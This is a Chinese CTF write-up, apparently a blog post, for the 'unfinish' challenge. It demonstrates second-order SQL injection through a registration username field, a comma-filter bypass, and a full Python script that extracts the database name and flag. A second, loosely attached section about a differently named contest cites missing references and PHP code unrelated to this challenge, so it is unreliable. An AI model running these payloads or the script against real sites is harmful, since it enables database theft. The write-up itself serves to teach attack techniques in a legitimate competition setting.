攻防世界----unfinish

知识点:SQL二次注入

sql注入流程:找到注入点,进行fuzz测试,根据fuzz测试结果绕过,查flag

1.拿到题目后,先进行目录扫描

2.经过一系列测试:包括在register页面注册,然后去login页面查看

发现,在register页面的username字段是可以回显的

为什么要在username字段测试注入点,而不是在邮箱或者密码?

因为我们能看到username的回显。

 

判断注入点

在用户名处输入

0' and '1

 

 

确定了存在注入 

3.进行fuzz测试,看能不能找到被过滤的关键字

尝试对username字段进行fuzz测试

测试范围为所有的单字符(ascii值33-127)

 长度为904的报文被过滤了,也就是逗号

目前看来,只过滤了逗号 

逗号的绕过:from for绕过

substr(database(),1) -> substr(database() from 1 for 1)

payload如下

username: 0' + ascii(substr(database() from 1 for 1)) +'0

原因:

在注册界面,有三个字段因此我们猜测原句为

insert('邮箱','用户名','密码')

而用户名是可以存在注入,并且具有回显的

为什么要用 0?

ascii可以将字符转化为ascii的值,0+任何数字都等于原字符,用其他数字也是可以的

0附近的两个单引号是为了闭合原句的单引号,如下

insert('邮箱','0' + ascii(substr(database() from 1 for 1)) +'0','密码')

第二个payload为

0' + ascii(substr(database() from 2 for 1)) +'0

 

接下来就是写脚本,让脚本帮我们爆破。 

脚本思路:在register页面进行注册

账号就 111@163.com? 对?进行递增

用户名就是正常的盲注

密码就是 admin

注册好后,去login.php页面,拿邮箱和密码登录,然后获取到回显的用户名

利用chr()函数将数字转化为字母

脚本可以去wp里拿

import requests
import re

register_url = "http://61.147.171.105:64712/register.php"
login_url = "http://61.147.171.105:64712/login.php"
database = ""
table_name = ""
column_name = ""
flag = ""
#获取数据库名
for i in range(1,10):
    register_data = {
        'email':'test@test'+ str(i),
        'username':"0'+ascii(substr((select database()) from %d for 1))+'0"%i,
        'password':123
        }
    r = requests.post(url=register_url,data=register_data)
    login_data = {
        'email':'test@test'+ str(i),
        'password':123
        }
    r = requests.post(url=login_url,data=login_data)
    match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
    asc = match.group(1)
    if asc == '0':
        break
    database = database + chr(int(asc))
print('database:',database)
#获取表名
'''
for i in range(1,20):
    register_data = {
        'email':'test@test'+ str(i),
        'username':"0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))+'0"%i,
        'password':123
        }
    r = requests.post(url=register_url,data=register_data)
    print(r.text)
    login_data = {
        'email':'test@test'+ str(i),
        'password':123
        }
    r = requests.post(url=login_url,data=login_data)
    r.encoding = r.apparent_encoding
    print(r.text)
    match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
    asc = match.group(1)
    if asc == '0':
        break
    table_name = table_name + chr(int(asc))
print('table_name:',table_name)
'''
#获取flag
for i in range(1,100):
    register_data = {
        'email':'test@test'+ str(i) + str(i),
        'username':"0'+ascii(substr((select * from flag) from %d for 1))+'0"%i,
        'password':123
        }
    r = requests.post(url=register_url,data=register_data)
    login_data = {
        'email':'test@test'+ str(i) + str(i),
        'password':123
        }
    r = requests.post(url=login_url,data=login_data)
    match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
    asc = match.group(1)
    if asc == '0':
        break
    flag = flag + chr(int(asc))
print('flag:',flag)

脚本解说

1.re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)

因为用户名在html中是这么显示的

 因此我们需要用到research函数结合正则匹配

re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)

\s匹配空白符
\d匹配数字

python正则表达式re.search()怎么使用? | w3c笔记 (w3cschool.cn)

 2.asc = match.group(1)

原因:group(n)匹配第n个括号内的值

上文中 group(1) 就是匹配到 (\d*)也就是我们要的数字

import re
 
content = "abc123def"
rex_compile = re.compile("([a-z]*)([0-9]*)([a-z]*)")
rex = rex_compile.search(content)
print(rex.group())
print(rex.group(0))  # group()和group(0) 一样匹配的是整体
print(rex.group(1))  # 匹配第一个小括号的内容
print(rex.group(2))  # 匹配第二个小括号的内容
print(rex.group(3))  # 匹配第三个小括号的内容

3.注意点

由于用户名是有限制的,因此在跑表名的时候会因为这个问题导致失败,需要手工去跑

### 关于网谷杯 CTF 中 `unfinish` 题目的解题思路 #### 背景分析 CTF竞赛中的Web类题目通常涉及多种漏洞利用技术,例如SQL注入、文件包含、命令执行等。根据提供的参考资料[^1],可以推测该题目可能涉及到一种特定的绕过机制或者字符串处理逻辑。 #### 文件路径操作与过滤规避 从引用的内容来看,可能存在一个动态加载模板的功能实现代码片段[^2]: ```php $file = "templates/" . $page . ".php"; assert("strpos('$file', '...') === false"); ``` 上述PHP脚本通过拼接变量 `$page` 来构建最终要引入的文件名,并且使用了 `assert()` 函数来进行安全校验。这里的重点在于如何构造合适的输入使得能够成功跳转到预期之外的目标文件,同时满足断言条件。 对于这种类型的挑战,尝试寻找可被解析为合法语句但仍能突破限制的特殊字符组合是一种常见策略。比如利用编码转换(URL编码、HTML实体化)、大小写变换等方式避开显式的黑名单匹配规则。 #### 数据库交互技巧 另外,在MySQL环境下进行数据提取时,除了传统的基于布尔盲注或时间延迟的方法外,还可以借助ASCII数值比较或是十六进制表示形式来简化查询过程并提高效率[^3]。具体而言就是先确定目标字段首字母对应的十进制数值得范围,再逐步逼近直至完全还原整个字符串内容;或者是直接将整列记录转化为HEX串后再做进一步拆分重组运算。 以下是采用后者的一个简单示范程序: ```sql SELECT HEX(column_name) FROM table_name WHERE condition; -- 假设返回结果为4D7953514C,则可通过如下方法得到明文"MySQL" SELECT UNHEX('4D7953514C'); ``` 需要注意的是当遇到超长Hex序列时记得适当裁剪长度以免超出系统允许的最大尺寸界限。 #### 综合应用建议 针对当前描述的具体场景——即名为“Unfinished”的赛题解答方案设计上,可以从以下几个方面入手考虑综合运用以上提到的技术要点: - 探索是否存在未受保护的服务端渲染入口可供调用; - 如果发现有类似功能存在则研究其参数验证流程查找潜在缺陷; - 结合实际环境特点选用恰当的数据检索手段快速定位敏感信息位置。 最后提醒一点,在真实比赛过程中务必遵循主办方设定的比赛规则,合理合法地完成各项任务!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jjj34

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值